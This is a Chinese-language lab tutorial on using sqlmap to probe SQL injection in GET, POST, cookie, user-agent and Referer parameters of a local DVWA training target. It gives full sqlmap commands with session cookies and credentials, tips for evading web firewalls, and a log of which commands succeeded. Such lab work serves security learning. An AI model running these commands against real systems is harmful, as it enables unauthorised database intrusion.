1、探测GET参数
以下为探测DVWA靶场low级别的sql注入,以下提交方式为GET,问号(?)将分隔URL和传输的数据,而参数之间以&相连。--auth-cred=admin:password --auth-type=basic (DVWA靶场需要登录,所以需要指定认证类型和凭证)--cookie=(指定cookie值)
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --auth-cred=admin:password --auth-type=basic --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low"
备注:如果需要使用其他字符分隔参数,可以使用--param-del选项进行设置(param是parameter(参数)的简写形式)
2、探测POST参数
dvwa-sql注入级别调整为medium
以上可以确认是POST提交
2.1 -data选项,可以设置为通过POST方式提交数据参数,这里也需要指定cookie.
2.2 选项--forms,可以用来设置自动搜索POST提交的表单参数
2.3 -r 选项支持加载HTTP请求文件,以读取请求的地址及参数,这样就不用手动指定参数
用bp抓取到request请求后,保存到txt文本,txt文本保存到kali当前运行命令的目录下(可以用pwd查看当前目录)
3、探测cookie参数
如果服务器对用户提交的Cookie参数没有进行合法判断,则可能存在注入漏洞,Cookie的保存方式分为临时和永久两种方式。如果没有设置过期时间,Cookie只存在于浏览器会话期间,即只要关闭浏览器窗口,Cookie就失效了。这种Cookie被称为会话Cookie,保存方式是临时的。如果设置了过期时间,浏览器就会把Cookie保存到硬盘上,即关闭后再打开浏览器,这些Cookie依旧有效,直到超过设定的过期时间。这类Cookie的保存方式为永久的。
选项--cookie 同时 --level级别需大于等于2(共5个级别,默认为1)
HTTP头部的Cookie参数一般使用分号(;)分隔。如果程序使用了其他分隔符,则可以使用--cookie-del选项进行指定,例如--cookie-del=:(指定了冒号分隔符)
如果Cookie内容比较长,不方便命令行输入,可以使用选项--load-cookies,可以用来指定包含Cookie的文件
通过wget命令可以保存cookie,以下为获取网站cookie,并保存在cookie.txt
探测cookie,指定cookie文件
4、探测UA参数
--level选项设置大于等于3的时候,就会探测UA;另外为了规避Web防火墙根据UA进行跟踪,用户还可以使用随机UA参数,sqlmap提供了选项--random-agent;如果程序只接收移动端的访问,此时可以设置使用手机UA来模仿手机登录--mobile
5、探测Referer参数
Referer参数主要用来告诉服务器当前请求是从哪里链接过来的,使用--level选项,设置测试级别大于或等于3。另外,用户还可以手动指定测试的Referer参数。sqlmap提供了选项--referer,可以用来指定Referer参数的值
6、指定测试参数
-p,用于指定测试的参数。如果要指定多个测试参数,参数之间使用逗号分隔
--randomize 为了避免被防火墙检测,指定各种随机值(不能和-p同时使用)
--skip,用于跳过对指定参数的测试
--skip-static,可以用来设置跳过测试静态参数
实验记录:
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --level=4 --randomize=id --dbms=mysql----失败
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --dbms=mysql --batch
---成功
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --randomize=id --dbms=mysql --batch--失败
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --level=3 --dbms=mysql --batch--成功
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --randomize='id&submit#' -banner --dbms=mysql --batch--成功
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --dbms=mysql --batch --skip-static--失败
sqlmap -u "http://192.168.3.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vj863jbvgdbinthoq4q003mb51; security=low" --dbms=mysql --batch
--成功
结论:--skip-static会影响扫描结果